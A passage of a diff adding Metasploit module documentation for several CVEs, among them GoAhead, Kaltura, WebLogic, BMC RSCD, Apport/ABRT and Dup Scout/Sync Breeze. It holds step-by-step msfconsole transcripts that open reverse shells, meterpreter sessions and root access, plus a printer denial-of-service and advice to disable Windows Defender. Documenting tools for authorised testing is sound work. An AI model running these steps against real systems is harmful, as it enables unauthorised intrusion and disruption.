format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
|
||||
|
||||
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
|
||||
caught by antivirus on the target.
|
||||
|
||||
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
@@ -0,0 +1,34 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Versions <= 1.20 of the Debut embedded httpd web server in use by Brother printers are vulnerable to denial of service
|
||||
via a crafted HTTP request. This module will render the printer unresponsive from requests for ~300 seconds.
|
||||
This is thought to be caused by a single threaded web server which
|
||||
has a ~300 second timeout value. By sending a request with a content-length larger than the actual data, the server waits
|
||||
to receive the rest of the data, which doesn't happen until the timeout occurs. This DoS is for all services, not just http.
|
||||
|
||||
This module was successfully tested against a Brother HL-L2380DW series.
|
||||
|
||||
An nmap version scan of the vulnerable service should look similar to:
|
||||
`80/tcp open http Debut embedded httpd 1.20 (Brother/HP printer http admin)`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/dos/http/brother_debut_dos```
|
||||
3. Do: ```set rhost [ip]```
|
||||
4. Do: ```run```
|
||||
5. You should see Success, and manual attempts to browse the web interface don't load.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Brother HL-L2380DW with Debut embedded 1.20
|
||||
|
||||
```
|
||||
resource (brother.rc)> use auxiliary/dos/http/brother_debut_dos
|
||||
resource (brother.rc)> set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
resource (brother.rc)> exploit
|
||||
[*] Sending malformed POST request at 2018-01-24 20:45:52.
|
||||
[+] 1.1.1.1:80 - Connection Refused: Success! Server will recover about 2018-01-24 20:50:52
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -6,7 +6,7 @@ While the application is based in java, I was only able to get it to exploit aga
|
||||
|
||||
[official site](http://cftp.coldcore.com/files/coloradoftp-prime-8.zip?site=cft1&rv=19.1&nc=1) or [github backup](https://github.com/h00die/MSF-Testing-Scripts/raw/master/coloradoftp-prime-8.zip)
|
||||
|
||||
When installing, you must edit conf/beans.xml line 182 "localIp" to put in your IP or else `pasv` won't work.
|
||||
When installing, you must edit conf/beans.xml line 183 "remoteIp" to put in your IP or else `pasv` won't work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The GoAhead httpd server between versions 2.5 and 3.6.4 are vulnerable to an arbitrary code execution
|
||||
vulnerability where a remote attacker can force a supplied shared library to be loaded into the process
|
||||
of a CGI application. This module delivers a shared library payload as the raw data to a POST request
|
||||
and forces this to be loaded by specifying a `LD_PRELOAD` value of `/proc/self/fd/0`.
|
||||
|
||||
### Kali 2017.3 and Ubuntu 16.04 Install Instructions
|
||||
|
||||
These instructions are based on the vulerability analysis by [elttam.com.au](https://www.elttam.com.au/blog/goahead/)
|
||||
|
||||
```
|
||||
git clone https://github.com/embedthis/goahead.git
|
||||
cd goahead/
|
||||
git checkout tags/v3.6.4 -q
|
||||
make > /dev/null
|
||||
cd test
|
||||
gcc ./cgitest.c -o cgi-bin/cgitest
|
||||
../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/goahead_ldpreload```
|
||||
4. Do: ```set rhost [ip]```
|
||||
5. Do: ```exploit```
|
||||
6. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGET_URI**
|
||||
|
||||
Optional. The full path to a CGI endpoint on the target server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GoAhead 3.6.4 on Ubuntu 16.04 x64
|
||||
|
||||
```
|
||||
|
||||
msf> use exploit/linux/http/goahead_preload
|
||||
msf exploit(goahead_ldpreload) > set RHOST 127.1.1.1
|
||||
msf exploit(goahead_ldpreload) > set RPORT 8080
|
||||
msf exploit(goahead_ldpreload) > check
|
||||
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[+] 127.1.1.1:8080 The target is vulnerable.
|
||||
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:32988) at 2017-12-28 16:26:50 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
|
||||
msf exploit(goahead_ldpreload) > set TARGET 1
|
||||
msf exploit(goahead_ldpreload) > unset PAYLOAD
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[*] Started bind handler
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Command shell session 5 opened (127.0.0.1:30836 -> 127.1.1.1:4444) at 2017-12-28 16:28:04 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
|
||||
msf exploit(goahead_ldpreload) > set TARGET 2
|
||||
msf exploit(goahead_ldpreload) > unset PAYLOAD
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP double handler on 127.0.0.1:4444
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo sNRXNjxWl7ic0uWw;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "sNRXNjxWl7ic0uWw\r\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 6 opened (127.0.0.1:4444 -> 127.0.0.1:32995) at 2017-12-28 16:28:56 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
|
||||
msf exploit(goahead_ldpreload) > set TARGET 4
|
||||
msf exploit(goahead_ldpreload) > unset PAYLOAD
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Command shell session 7 opened (127.0.0.1:4444 -> 127.0.0.1:33000) at 2017-12-28 16:29:34 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
```
|
||||
|
||||
|
||||
## Logging
|
||||
|
||||
Each 404 error will generate a console or log entry similar to `goahead: 0: Cannot find CGI program:`.
|
||||
@@ -0,0 +1,42 @@
|
||||
## Description
|
||||
|
||||
The getUserzoneCookie function in Kaltura before 13.2.0 uses a hardcoded cookie secret to validate cookie signatures, which allows remote attackers to bypass an intended protection mechanism and consequently conduct PHP object injection attacks and execute arbitrary PHP code via a crafted userzone cookie.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a remote code execution within the Kaltura(<=13.1.0) via a cookie deserialization.
|
||||
Vulnerability reference- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14143.
|
||||
Installation of Kaltura is difficult, but here is an installation guide:
|
||||
https://github.com/kaltura/platform-install-packages/blob/Mercury-13.8.0/doc/install-kaltura-deb-based.md
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/kaltura_unserialize_cookie_rce`
|
||||
3. `set RHOST https://example.com (or IP address)`
|
||||
4. `set ENTRYID 0_xxxxxxxx`
|
||||
5. `set payload generic/custom`
|
||||
6. `set payloadstr "system('command you want to execute, eg.- ls -la');"`
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf use exploits/linux/http/kaltura_unserialize_cookie_rce
|
||||
msf exploit(kalkutra_unseialize_cookie_rce) set RHOST 46.101.209.202
|
||||
RHOST => 46.101.209.202
|
||||
msf exploit(kalkutra_unseialize_cookie_rce) set LHOST 192.168.1.16
|
||||
LHOST => 192.168.1.16
|
||||
msf exploit(kalkutra_unseialize_cookie_rce)>check
|
||||
[+] 46.101.209.202:4444 The target is vulnerable.
|
||||
msf exploit(kalkutra_unseialize_cookie_rce)>run
|
||||
[*] Started bind handler
|
||||
[*] Output:
|
||||
[*] Command shell session 1 opened (192.168.1.16:36865 -> 46.101.209.202:4444) at 2017-09-04 12:09:03 +0200
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
## Description
|
||||
|
||||
This module attempts to gain root privileges on Ubuntu and Fedora systems by invoking the default coredump handler inside a namespace ("container").
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed.
|
||||
|
||||
Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed. Fedora's crash handler was reportedly configured to chroot ABRT by default between April and August 2014.
|
||||
|
||||
In both instances, the crash handler does not drop privileges, resulting in code execution as root.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64
|
||||
* ABRT on Fedora 19 and 20 x86_64
|
||||
|
||||
To test Fedora 20, disable SELinux, reboot, and modify `/proc/sys/kernel/core_pattern` to make use of the vulnerable `core_pattern` : `|/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. Do: `use exploit/linux/local/apport_abrt_chroot_priv_esc`
|
||||
4. Do: `set SESSION [SESSION]`
|
||||
5. Do: `check`
|
||||
6. Do: `run`
|
||||
7. You should get a new root session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/apport_abrt_chroot_priv_esc
|
||||
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.244:4444
|
||||
[*] Writing '/tmp/.drY6cJZ' (887316 bytes) ...
|
||||
[*] Writing '/tmp/.LtJvrgjXq' (207 bytes) ...
|
||||
[*] Launching exploit...
|
||||
[+] Upgraded session to root privileges ('uid=0(root) gid=1000(user) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(user)')
|
||||
[*] Sending stage (857352 bytes) to 172.16.191.252
|
||||
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.252:35552) at 2018-01-11 09:58:25 -0500
|
||||
[+] Deleted /tmp/.drY6cJZ
|
||||
[+] Deleted /tmp/.LtJvrgjXq
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=1000, euid=0, egid=1000
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.252
|
||||
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
# Description
|
||||
|
||||
This module works leverages [CVE-2017-10271](https://nvd.nist.gov/vuln/detail/CVE-2017-10271) against Oracle WebLogic Server's Web Service Atomic Transaction API a XML SOAP request to create a `java.lang.ProcessBuilder` object to provide unauthenticated arbitrary command execution. A command line can be acquired through the use of `cmd/unix/reverse_python`.
|
||||
|
||||
Note that the TARGET must be set to match either a Windows or Unix-based host. If the TARGET variable is set improperly, a log entry will be generated on a vulnerable server, but the server will not crash. For example, a Linux payload sent to a Windows server will output:
|
||||
|
||||
```
|
||||
java.io.IOException: Cannot run program "/bin/sh": CreateProcess error=2, The system cannot find the file specified
|
||||
Continuing ...
|
||||
```
|
||||
|
||||
# Vulnerable Application
|
||||
|
||||
Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution.
|
||||
|
||||
### Windows: Setting up a vulnerable application
|
||||
|
||||
We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM.
|
||||
|
||||
1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`).
|
||||
2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working.
|
||||
3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it.
|
||||
4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server".
|
||||
5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following
|
||||
```
|
||||
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to RUNNING>
|
||||
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000360> <Server started in RUNNING mode>
|
||||
```
|
||||
|
||||
### Windows: Attacking a vulnerable application
|
||||
|
||||
Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target]
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker]
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.108.1:4444
|
||||
[*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600
|
||||
|
||||
Microsoft Windows [Version 10.0.16299.192]
|
||||
(c) 2017 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Oracle\Middleware\user_projects\domains\admindomain>whoami
|
||||
weblogic-server\Administrator
|
||||
```
|
||||
|
||||
### Unix: Setting up a vulnerable environment
|
||||
|
||||
1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM:
|
||||
|
||||
```
|
||||
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
|
||||
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list
|
||||
apt update
|
||||
apt-get install docker-engine
|
||||
service docker start
|
||||
docker run hello-world
|
||||
```
|
||||
|
||||
2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0:
|
||||
```
|
||||
docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271
|
||||
```
|
||||
|
||||
3. Confirm that the container is up.
|
||||
```
|
||||
docker ps
|
||||
```
|
||||
|
||||
### Unix: Attacking a vulnerable application
|
||||
|
||||
Attack the above Unix server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of the target]
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 1
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/unix/reverse_python
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of the attacker]
|
||||
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.108.1:4444
|
||||
[*] Command shell session 5 opened (192.168.108.1:4444 -> 192.168.108.129:51312) at 2018-01-11 11:46:49 -0600
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
# Credits
|
||||
Documentation originally written by Aaron Soto (@asoto-r7) and was edited by Kevin Kirsche (@kkirsche).
|
||||
@@ -0,0 +1,88 @@
|
||||
## Description
|
||||
This module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication.
|
||||
|
||||
Affected versions of the BMC RSCD agent fail to enforce authentication controls at the server side enabling a rogue client to send an authentication message, ignore the response, and continue interacting with the agent as though the authentication was successful. This module takes advantage of this vulnerability to execute arbitrary operating system commands using the BMC network shell (NSH) functionality.
|
||||
|
||||
The access control vulnerability itself was identified by Olga Yanushkevich of [ERNW](https://www.ernw.de/) and was assigned [CVE-2016-1542](https://www.cvedetails.com/cve/CVE-2016-1542/) and [CVE-2016-1543](https://www.cvedetails.com/cve/CVE-2016-1543/). Further details can be found at the [ERNW Insinuator website](https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/).
|
||||
|
||||
Technical details of the RCE exploit can be found [here](https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/) and [here](https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/).
|
||||
|
||||
## Vulnerable Application
|
||||
The module affects the RSCD agent component of [BMC BladeLogic Server Automation](http://www.bmcsoftware.uk/it-solutions/bladelogic-server-automation.html). The agent is installed on servers managed using BMC BladeLogic Server Automation and listens on TCP port 4750. The vulnerability affects versions 8.x below 8.6 SP1 Patch 2, 8.7 Patch 3, and 8.8. More details on affected versions and the fix can be found from the [BMC Knowledgebase](https://selfservice.bmc.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA214000000dBpnCAE&type=Solution).
|
||||
|
||||
## Verification Steps
|
||||
To use this exploit you will need access to BMC BladeLogic Server Automation.
|
||||
|
||||
1. Install the RSCD agent on a host as detailed in the [BMC documentation](https://docs.bmc.com/docs/ServerAutomation/89/agent-installation-overview-653394992.html).
|
||||
2. Ensure that the RSCD service is running and listening on TCP port 4750.
|
||||
3. Launch `msfconsole`.
|
||||
4. Load the module `use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce`.
|
||||
5. Select the generic command target `set target 3`.
|
||||
6. Select a generic command payload `set payload cmd/unix/generic` or `set payload cmd/windows/generic`.
|
||||
7. Set the command to execute `set CMD "echo MSF"` or `set CMD "cmd /c echo MSF"`.
|
||||
8. Run the exploit `exploit`.
|
||||
|
||||
The result should be that the string `MSF` is returned and output.
|
||||
|
||||
## Usage Scenarios
|
||||
The exploit module contains several targets as detailed below.
|
||||
|
||||
### Target 0: Automatic
|
||||
The automatic target causes the module to issue an `agentinfo` request to the target in an attempt to identify the target operating system. If it appears to be a Windows target then the module behaves as though target 1 was selected, otherwise it behaves as though target 2 was selected.
|
||||
|
||||
### Target 1: Windows/VBS Stager
|
||||
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell).
|
||||
|
||||
msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84
|
||||
RHOST => 34.239.181.84
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set LHOST 54.164.112.135
|
||||
LHOST => 54.164.112.135
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit
|
||||
[*] Exploit running as background job 1.
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) >
|
||||
[*] Started reverse TCP handler on 0.0.0.0:4444
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 8.01% done (8099/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 16.03% done (16198/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 24.04% done (24297/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 32.06% done (32396/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 40.07% done (40495/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 48.09% done (48594/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 56.10% done (56693/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 64.11% done (64792/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 72.13% done (72891/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 80.14% done (80990/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 88.16% done (89089/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 96.17% done (97188/101056 bytes)
|
||||
[*] 34.239.181.84:4750 - Command Stager progress - 100.00% done (101056/101056 bytes)
|
||||
[*] Sending stage (179779 bytes) to 34.239.181.84
|
||||
[*] Meterpreter session 1 opened (172.31.58.107:4444 -> 34.239.181.84:56233) at 2018-01-14 00:54:49 +0000
|
||||
|
||||
### Target 2: Unix/Linux
|
||||
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Unix/Linux targets in the same way as target 1.
|
||||
|
||||
### Target 3: Generic Cmd
|
||||
This target can be used with *cmd* payloads to execute operating system commands against the target host.
|
||||
|
||||
msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84
|
||||
RHOST => 34.239.181.84
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 3
|
||||
TARGET => 3
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD cmd/windows/generic
|
||||
PAYLOAD => cmd/windows/generic
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set CMD "cmd /c whoami"
|
||||
CMD => cmd /c whoami
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit
|
||||
[*] Exploit running as background job 2.
|
||||
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) >
|
||||
[+] 34.239.181.84:4750 - Output
|
||||
ip-ac1f1eb2\bladelogicrscd
|
||||
|
||||
#### Windows Hosts
|
||||
When using this module target against Windows hosts, non-powershell command lines are limited to around 8,100 characters and generally have to be prefixed with `cmd /c`.
|
||||
Powershell commands are executed differently and have a much larger length limit of around 32,700 characters.
|
||||
@@ -0,0 +1,45 @@
|
||||
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `exploit/windows/fileformat/dupscout_xml`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Example
|
||||
```
|
||||
msf > use exploit/windows/fileformat/dupscout_xml
|
||||
msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146
|
||||
LHOST => 172.16.40.146
|
||||
msf exploit(windows/fileformat/dupscout_xml) > run
|
||||
|
||||
[*] Creating 'msf.xml' file ...
|
||||
[+] msf.xml stored at /root/.msf4/local/msf.xml
|
||||
msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
|
||||
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(multi/handler) > set LHOST 172.16.40.146
|
||||
LHOST => 172.16.40.146
|
||||
msf exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.40.146:4444
|
||||
[*] Sending stage (179779 bytes) to 172.16.40.144
|
||||
[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : pt_PT
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,45 @@
|
||||
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 by using the import command option to import a specially crafted xml file.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/e5c42cce3304c323776e4785e8fb4685-syncbreezeent_setup_v9.5.16.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `exploit/windows/fileformat/syncbreeze_xml`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Example
|
||||
```
|
||||
msf > use exploit/windows/fileformat/syncbreeze_xml
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > set LHOST 192.168.216.5
|
||||
LHOST => 192.168.216.5
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > run
|
||||
|
||||
[*] Creating 'msf.xml' file ...
|
||||
[+] msf.xml stored at /root/.msf4/local/msf.xml
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > use exploit/multi/handler
|
||||
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(multi/handler) > set LHOST 192.168.216.5
|
||||
LHOST => 192.168.216.5
|
||||
msf exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.216.5:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.216.137
|
||||
[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.137:49830) at 2018-01-15 15:32:02 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : IE11WIN7
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
